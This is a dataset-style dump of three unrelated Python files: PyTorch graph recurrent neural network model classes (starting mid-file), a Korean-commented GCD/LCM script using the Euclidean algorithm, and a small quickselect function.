# signal, flattened. dimInputMLP = self.N * self.F_h # (i.e., N nodes, each one described by F_h features, # which means this will be flattened into a vector of size # N x F_h) elif mlpType == 'multipMlp': # one perceptron per node, same parameters across all of them dimInputMLP = self.F_h fc.append(nn.Linear(dimInputMLP, self.dimLayersMLP[0], bias = self.bias)) for l in range(len(dimLayersMLP)-1): # Add the nonlinearity because there's another linear layer # coming fc.append(self.sigma2()) # And add the linear layer fc.append(nn.Linear(dimLayersMLP[l], dimLayersMLP[l+1], bias = self.bias)) # And we're done # Declare output MLP if self.sigma3 is not None : fc.append(self.sigma3()) self.outputNN = nn.Sequential(*fc) # so we finally have the architecture. #\\ If the output neural network is an Aggregation GNN elif nSelectedNodes is None and poolingFunction is not gml.NoPool: agg = [] self.F_o = dimNodeSignals self.K_o = nFilterTaps self.rho = poolingFunction self.alpha = poolingSize self.maxN = maxN # Declare output GNN outputNN = AggregationGNN(self.F_o, self.K_o, self.bias, self.sigma2, self.nSelectedNodes, self.rho, self.alpha, self.dimLayersMLP, GSO) agg.append(outputNN) # Adding final nonlinearity, if any if self.sigma3 is not None: agg.append(self.sigma3()) self.outputNN = nn.Sequential(*agg) #\\ If the output neural network is a Selection GNN else: sel = [] self.F_o = dimNodeSignals self.K_o = nFilterTaps self.nSelectedNodes = nSelectedNodes self.rho = poolingFunction self.alpha = poolingSize # Declare Output GNN outputNN = SelectionGNN(self.F_o, self.K_o, self.bias, self.sigma2, self.nSelectedNodes, self.rho, self.alpha, self.dimLayersMLP, GSO) sel.append(outputNN) # Adding final nonlinearity, if any if self.sigma3 is not None: sel.append(self.sigma3()) self.outputNN = nn.Sequential(*sel) def forward(self, x, h0): # Now we compute the forward call batchSize = x.shape[0] seqLength = x.shape[1] H = self.stateGCRNN(x,h0) # flatten by merging batch and sequence length dimensions flatH = H.view(-1,self.F_h,self.N) if self.F_o is None: # outputNN is MLP if self.mlpType == 'multipMlp': flatH = flatH.view(-1,self.F_h,self.N) flatH = flatH.transpose(1,2) flatY = torch.empty(0) for i in range (self.N): hNode = flatH.narrow(1,i,1) hNode = hNode.squeeze() yNode = self.outputNN(hNode) yNode = yNode.unsqueeze(1) flatY = torch.cat([flatY,yNode],1) flatY = flatY.transpose(1,2) flatY = flatY.squeeze() elif self.mlpType == 'oneMlp': flatH = flatH.view(-1,self.F_h*self.N) flatY = self.outputNN(flatH) else: flatY = self.outputNN(flatH) # recover original batch and sequence length dimensions y = flatY.view(batchSize,seqLength,-1) y = torch.unsqueeze(y,2) return y def to(self, device): # Because only the filter taps and the weights are registered as # parameters, when we do a .to(device) operation it does not move the # GSOs. So we need to move them ourselves. # Call the parent .to() method (to move the registered parameters) super().to(device) # Move the GSO self.S = self.S.to(device) class GatedGCRNNforClassification(nn.Module): """ GatedGCRNNfforClassification: implements the full GCRNN architecture, i.e. h_t = sigma(\hat{Q_t}(A(S)*x_t) + \check{Q_t}(B(S)*h_{t-1})) y_t = rho(C(S)*h_t) where: - h_t, x_t, y_t are the state, input and output variables respectively - sigma and rho are the state and output nonlinearities - \hat{Q_t} and \check{Q_t} are the input and forget gate operators, which could be time, node or edge gates (or time+node, time+edge) - A(S), B(S) and C(S) are the input-to-state, state-to-state and state-to-output graph filters In the classification version of the Gated GCRNN, y_t is a C-dimensional one-hot vector, where C is the number of classes Initialization: GatedGCRNNforClassification(inFeatures, stateFeatures, inputFilterTaps, stateFilterTaps, stateNonlinearity, outputNonlinearity, dimLayersMLP, GSO, bias, time_gating=True, spatial_gating=None, mlpType = 'oneMlp' finalNonlinearity = None, dimNodeSignals=None, nFilterTaps=None, nSelectedNodes=None, poolingFunction=None, poolingSize=None, maxN = None) Input: inFeatures (int): dimension of the input signal at each node stateFeatures (int): dimension of the hidden state at each node inputFilterTaps (int): number of input filter taps stateFilterTaps (int): number of state filter taps stateNonlinearity (torch.nn): sigma, state nonlinearity in the GRNN cell outputNonlinearity (torch.nn): rho, module from torch.nn nonlinear activations dimLayersMLP (list of int): number of hidden units of the MLP layers GSO (np.array): graph shift operator bias (bool): include bias after graph filter on every layer time_gating (bool): time gating flag, default True spatial_gating (string): None, 'node' or 'edge' mlpType (string): either 'oneMlp' or 'multipMLP'; 'multipMLP' corresponds to local MLPs, one per node finalNonlinearity (torch.nn): nonlinearity to apply to y, if any (e.g. softmax for classification) dimNodeSignals (list of int): dimension of the signals at each layer of C(S) if it is a GNN nFilterTaps (list of int): number of filter taps on each layer of C(S) if it is a GNN nSelectedNodes (list of int): number of nodes to keep after pooling on each layer of the C(S) if it is a Selection GNN poolingFunction (nn.Module in Utils.graphML): summarizing function of C(S) if it is a GNN with pooling poolingSize (list of int): size of the neighborhood to compute the summary from at each layer if C(S) is a GNN with pooling maxN (int): maximum number of neighborhood exchanges if C(S) is an Aggregation GNN (default: None) Output: nn.Module with a full GRNN architecture, state + output neural networks, with the above specified characteristics. Forward call: GatedGCRNNforClassification(x) Input: x (torch.tensor): input data of shape batchSize x seqLength x dimFeatures x numberNodes Output: y (torch.tensor): output data of shape batchSize x seqLength x dimFeatures x numberNodes """ def __init__(self, # State GCRNN inFeatures, stateFeatures, inputFilterTaps, stateFilterTaps, stateNonlinearity, # Output NN nonlinearity outputNonlinearity, # MLP in the end dimLayersMLP, # Structure GSO, # Bias bias, # Gating time_gating = True, spatial_gating = None, # Final nonlinearity, if any, to apply to y finalNonlinearity = None, # Output NN filtering if output NN is GNN dimNodeSignals=None, nFilterTaps=None, # Output NN pooling is output NN is GNN with pooling nSelectedNodes=None, poolingFunction=None, poolingSize=None, maxN = None): # Initialize parent: super().__init__() # Check whether the GSO has features or not. After that, always handle # it as a matrix of dimension E x N x N. assert len(GSO.shape) == 2 or len(GSO.shape) == 3 if len(GSO.shape) == 2: assert GSO.shape[0] == GSO.shape[1] GSO = GSO.reshape([1, GSO.shape[0], GSO.shape[1]]) # 1 x N x N else: assert GSO.shape[1] == GSO.shape[2] # E x N x N # Store the values for the state GRNN (using the notation in the paper): self.F_i = inFeatures # Input features self.K_i = inputFilterTaps # Filter taps of input filter self.F_h = stateFeatures # State features self.K_h = stateFilterTaps # Filter taps of state filter self.E = GSO.shape[0] # Number of edge features self.N = GSO.shape[1] # Number of nodes self.bias = bias # Boolean self.time_gating = time_gating # Boolean self.spatial_gating = spatial_gating # None, "node" or "edge" self.S = torch.tensor(GSO) self.sigma1 = stateNonlinearity # Declare State GCRNN self.stateGCRNN = gml.GGCRNNCell(self.F_i, self.F_h, self.K_i, self.K_h, self.sigma1, self.time_gating, self.spatial_gating, self.E, self.bias) self.stateGCRNN.addGSO(self.S) # Dimensions of output GNN's lfully connected layers or of the output MLP self.dimLayersMLP = dimLayersMLP # Output neural network nonlinearity self.sigma2 = outputNonlinearity # Selection/Aggregation GNN parameters for the output neural network (default None) self.F_o = dimNodeSignals self.K_o = nFilterTaps self.nSelectedNodes = nSelectedNodes self.rho = poolingFunction self.alpha = poolingSize self.maxN = maxN # Nonlinearity to apply to the output, e.g. softmax for classification (default None) self.sigma3 = finalNonlinearity #\\ If output neural network is MLP: if dimNodeSignals is None and nFilterTaps is None: fc = [] if len(self.dimLayersMLP) > 0: # Maybe we don't want to MLP anything # The first layer has to connect whatever was left of the graph # signal, flattened. dimInputMLP = self.N * self.F_h # (i.e., N nodes, each one described by F_h features, # which means this will be flattened into a vector of size # N x F_h) fc.append(nn.Linear(dimInputMLP, self.dimLayersMLP[0], bias = self.bias)) for l in range(len(dimLayersMLP)-1): # Add the nonlinearity because there's another linear layer # coming fc.append(self.sigma2()) # And add the linear layer fc.append(nn.Linear(dimLayersMLP[l], dimLayersMLP[l+1], bias = self.bias)) # And we're done # Declare output MLP if self.sigma3 is not None : fc.append(self.sigma3()) self.outputNN = nn.Sequential(*fc) # so we finally have the architecture. #\\ If the output neural network is an Aggregation GNN elif nSelectedNodes is None and poolingFunction is not gml.NoPool: agg = [] self.F_o = dimNodeSignals self.K_o = nFilterTaps self.rho = poolingFunction self.alpha = poolingSize self.maxN = maxN # Declare output GNN outputNN = AggregationGNN(self.F_o, self.K_o, self.bias, self.sigma2, self.nSelectedNodes, self.rho, self.alpha, self.dimLayersMLP, GSO) agg.append(outputNN) # Adding final nonlinearity, if any if self.sigma3 is not None: agg.append(self.sigma3()) self.outputNN = nn.Sequential(*agg) #\\ If the output neural network is a Selection GNN else: sel = [] self.F_o = dimNodeSignals self.K_o = nFilterTaps self.nSelectedNodes = nSelectedNodes self.rho = poolingFunction self.alpha = poolingSize # Declare Output GNN outputNN = SelectionGNN(self.F_o, self.K_o, self.bias, self.sigma2, self.nSelectedNodes, self.rho, self.alpha, self.dimLayersMLP, GSO) sel.append(outputNN) # Adding final nonlinearity, if any if self.sigma3 is not None: sel.append(self.sigma3()) self.outputNN = nn.Sequential(*sel) def forward(self, x, h0): # Now we compute the forward call H = self.stateGCRNN(x,h0) h = H.select(1,-1) if self.F_o is None: # outputNN is MLP h = h.view(-1,self.F_h*self.N) y = self.outputNN(h) else: y = self.outputNN(h) return y def to(self, device): # Because only the filter taps and the weights are registered as # parameters, when we do a .to(device) operation it does not move the # GSOs. So we need to move them ourselves. # Call the parent .to() method (to move the registered parameters) super().to(device) # Move the GSO self.S = self.S.to(device) class RNNforRegression(nn.Module): """ RNNforRegression: implements the full RNN architecture for graph signal regression Initialization: RNNforRegression(inFeatures, stateFeatures, stateNonlinearity, innerFeatures, kernelSizes, dimLayersMLP, outputNonlinearity, GSO, bias, finalNonlinearity = None) Input: inFeatures (int): dimension of the input signal at each node stateFeatures (int): dimension of the hidden state at each node stateNonlinearity (torch.nn): nonlinearity in the RNN cell innerFeatures(list of int) = number of features at each layer of CNN kernelSizes (list of in) = kernel sizes at each layer of CNN dimLayersMLP (list of int): number of output hidden units of a sequence of fully connected layers after the CNN (valid for both selections, needed for mlp) outputNonlinearity (torch.nn): module from torch.nn non-linear activations GSO (np.array): graph shift operator of choice. bias (bool): include bias after graph filter on every layer finalNonlinearity (torch.nn): nonlinearity to apply to the output, if any Output: nn.Module with a full RNN architecture, state + output networks, with the above specified characteristics. Forward call: RNNforRegression(x, h0) Input: x (torch.tensor): input data of shape batchSize x seqLength x dimFeatures x numberNodes h0 (torch.tensor): initial state of shape batchSize x dimFeatures x numberNodes Output: y (torch.tensor): output of the RNN computed from h and transformed back to graph domain; shape: batchSize x seqLength x dimFeatures x numberNodes """ def __init__(self, # State GRNN inFeatures, stateFeatures, stateNonlinearity, # MLP in the end dimLayersMLP, # Output NN nonlinearity outputNonlinearity, # Structure GSO, # Bias bias, # Final nonlinearity finalNonlinearity = None): # Initialize parent: super().__init__() # Check whether the GSO has features or not. After that, always handle # it as a matrix of dimension E x N x N. assert len(GSO.shape) == 2 or len(GSO.shape) == 3 if len(GSO.shape) == 2: assert GSO.shape[0] == GSO.shape[1] GSO = GSO.reshape([1, GSO.shape[0], GSO.shape[1]]) # 1 x N x N else: assert GSO.shape[1] == GSO.shape[2] # E x N x N # Store the values for the state RNN (using the notation in the paper): self.F_i = inFeatures # Input features self.F_h = stateFeatures # State features self.E = GSO.shape[0] # Number of edge features self.N = GSO.shape[1] # Number of nodes self.bias = bias # Boolean self.S_tensor = torch.tensor(GSO) self.S = GSO self.sigma1 = stateNonlinearity # Declare State RNN self.RNN = torch.nn.RNN(self.N*self.F_i, self.F_h, num_layers=1, nonlinearity=self.sigma1, bias=self.bias, batch_first=True) # Dimensions of output CNN's FC layers or of the output MLP self.dimLayersMLP = dimLayersMLP # Output NN nonlinearity self.sigma2 = outputNonlinearity # Nonlinearity to apply to the output (default None) self.sigma3 = finalNonlinearity fc = [] if len(self.dimLayersMLP) > 0: # Maybe we don't want to MLP anything dimInputMLP = self.F_h if len(self.dimLayersMLP) != 1: fc.append(nn.Linear(dimInputMLP, self.dimLayersMLP[0], bias = self.bias)) for l in range(len(dimLayersMLP)-1): # Add the nonlinearity because there's another linear layer # coming fc.append(self.sigma2()) # And add the linear layer if l == len(dimLayersMLP)-2: fc.append(nn.Linear(dimLayersMLP[-2], dimLayersMLP[-1]*self.N, bias = self.bias)) else: fc.append(nn.Linear(dimLayersMLP[l], dimLayersMLP[l+1], bias = self.bias)) else: fc.append(nn.Linear(dimInputMLP, self.dimLayersMLP[0]*self.N, bias = self.bias)) # And we're done if self.sigma3 is not None : fc.append(self.sigma3()) # Declare Output MLP self.outputNN = nn.Sequential(*fc) # so we finally have the architecture def forward(self, x, h0, c0): # Now we compute the forward call batchSize = x.shape[0] seqLength = x.shape[1] x = x.view(batchSize,seqLength,-1) h0 = h0.view(batchSize,1,-1) h0 = h0.transpose(0,1) H,_ = self.RNN(x,h0) # flatten by merging batch and sequence length dimensions flatH = H.reshape(batchSize*seqLength,H.shape[2]) #print(flatH.shape) flatY = self.outputNN(flatH) y = flatY.view(batchSize,seqLength,-1,self.N) #y = torch.matmul(y,v.transpose(0,1)) return y def to(self, device): # Because only the filter taps and the weights are registered as # parameters, when we do a .to(device) operation it does not move the # GSOs. So we need to move them ourselves. # Call the parent .to() method (to move the registered parameters) super().to(device) # Move the GSO self.S_tensor = self.S_tensor.to(device) class RNNforClassification(nn.Module): """ RNNforClassification: implements the full RNN architecture for graph signal classification Initialization: RNNforClassification(inFeatures, stateFeatures, stateNonlinearity, innerFeatures, kernelSizes, dimLayersMLP, outputNonlinearity, GSO, bias, finalNonlinearity = None) Input: inFeatures (int): dimension of the input signal at each node stateFeatures (int): dimension of the hidden state at each node stateNonlinearity (torch.nn): nonlinearity in the RNN cell innerFeatures(list of int) = number of features at each layer of CNN kernelSizes (list of in) = kernel sizes at each layer of CNN dimLayersMLP (list of int): number of output hidden units of a sequence of fully connected layers after the CNN (valid for both selections, needed for mlp) outputNonlinearity (torch.nn): module from torch.nn non-linear activations GSO (np.array): graph shift operator of choice. bias (bool): include bias after graph filter on every layer finalNonlinearity (torch.nn): nonlinearity to apply to the output, if any Output: nn.Module with a full RNN architecture, state + output networks, with the above specified characteristics. Forward call: RNNforClassification(x, h0) Input: x (torch.tensor): input data of shape batchSize x seqLength x dimFeatures x numberNodes h0 (torch.tensor): initial state of shape batchSize x dimFeatures x numberNodes Output: y (torch.tensor): output of the RNN computed from h and transformed back to graph domain; shape: batchSize x seqLength x dimFeatures x numberNodes """ def __init__(self, # State GRNN inFeatures, stateFeatures, stateNonlinearity, # MLP in the end dimLayersMLP, # Output NN nonlinearity outputNonlinearity, # Structure GSO, # Bias bias, # Final nonlinearity finalNonlinearity = None): # Initialize parent: super().__init__() # Check whether the GSO has features or not. After that, always handle # it as a matrix of dimension E x N x N. assert len(GSO.shape) == 2 or len(GSO.shape) == 3 if len(GSO.shape) == 2: assert GSO.shape[0] == GSO.shape[1] GSO = GSO.reshape([1, GSO.shape[0], GSO.shape[1]]) # 1 x N x N else: assert GSO.shape[1] == GSO.shape[2] # E x N x N # Store the values for the state RNN (using the notation in the paper): self.F_i = inFeatures # Input features self.F_h = stateFeatures # State features self.E = GSO.shape[0] # Number of edge features self.N = GSO.shape[1] # Number of nodes self.bias = bias # Boolean self.S_tensor = torch.tensor(GSO) self.S = GSO self.sigma1 = stateNonlinearity # Declare State RNN self.RNN = torch.nn.RNN(self.N*self.F_i, self.F_h, num_layers=1, nonlinearity=self.sigma1, bias=self.bias, batch_first=True) # Dimensions of output CNN's FC layers or of the output MLP self.dimLayersMLP = dimLayersMLP # Output NN nonlinearity self.sigma2 = outputNonlinearity # Nonlinearity to apply to the output (default None) self.sigma3 = finalNonlinearity fc = [] if len(self.dimLayersMLP) > 0: # Maybe we don't want to MLP anything dimInputMLP = self.F_h if len(self.dimLayersMLP) != 1: fc.append(nn.Linear(dimInputMLP, self.dimLayersMLP[0], bias = self.bias)) for l in range(len(dimLayersMLP)-1): # Add the nonlinearity because there's another linear layer # coming fc.append(self.sigma2()) # And add the linear layer if l == len(dimLayersMLP)-2: fc.append(nn.Linear(dimLayersMLP[-2], dimLayersMLP[-1], bias = self.bias)) else: fc.append(nn.Linear(dimLayersMLP[l], dimLayersMLP[l+1], bias = self.bias)) else: fc.append(nn.Linear(dimInputMLP, self.dimLayersMLP[0], bias = self.bias)) # And we're done if self.sigma3 is not None : fc.append(self.sigma3()) # Declare Output MLP self.outputNN = nn.Sequential(*fc) # so we finally have the architecture def forward(self, x, h0, c0): # Now we compute the forward call batchSize = x.shape[0] seqLength = x.shape[1] x = x.view(batchSize,seqLength,-1) h0 = h0.view(batchSize,1,-1) h0 = h0.transpose(0,1) H,_ = self.RNN(x,h0) h = H.select(1,-1) y = self.outputNN(h) #y = torch.matmul(y,v.transpose(0,1)) return y def to(self, device): # Because only the filter taps and the weights are registered as # parameters, when we do a .to(device) operation it does not move the # GSOs. So we need to move them ourselves. # Call the parent .to() method (to move the registered parameters) super().to(device) # Move the GSO self.S_tensor = self.S_tensor.to(device)
20,198
b00751ae467017c4db3c962e9c263600b27bbc30
# 최대공약수: 유클리드 호제법 # 최소공배수: # 유클리드 호제법의 원리 # x = 12, y = 8 # 12 % 8 = 4 # 8 % 4 = 0 # 4 % 0 -> y가 0이 되므로 x가 최대공약수 # 최소공배수: x * y / 최대공약수 x = int(input("정수를 입력하시오(큰수): ")) y = int(input("정수를 입력하시오(작은수): ")) temp = x * y #최소공배수를 위함 if (x < y): print("바르게 입력하세요") else: while y != 0: #y가 0이면 최대 공약수는 x와 같고 알고리즘 종료 x, y = y, x % y print("최대공약수: %d || 최소공배수: %d" %(x, temp / x))
20,199
d1da5c3d2ee98a6e65c8348ffa720464ca032961
# -*- coding: utf-8 -*- import sys import os sys.path.append(os.pardir) from sorting import quick_sort def selection(items, k): """ Selection issue using _partition function """ lo = 0 hi = len(items) - 1 while hi > lo: pivot = quick_sort._partition(items, lo, hi) if pivot < k: lo = pivot + 1 elif pivot > k: hi = pivot - 1 else: return items[k] return items[k] if __name__ == '__main__': items = [1, 6, 2, 7, 3] s = selection(items, 1) print 's=', s, 'items=', items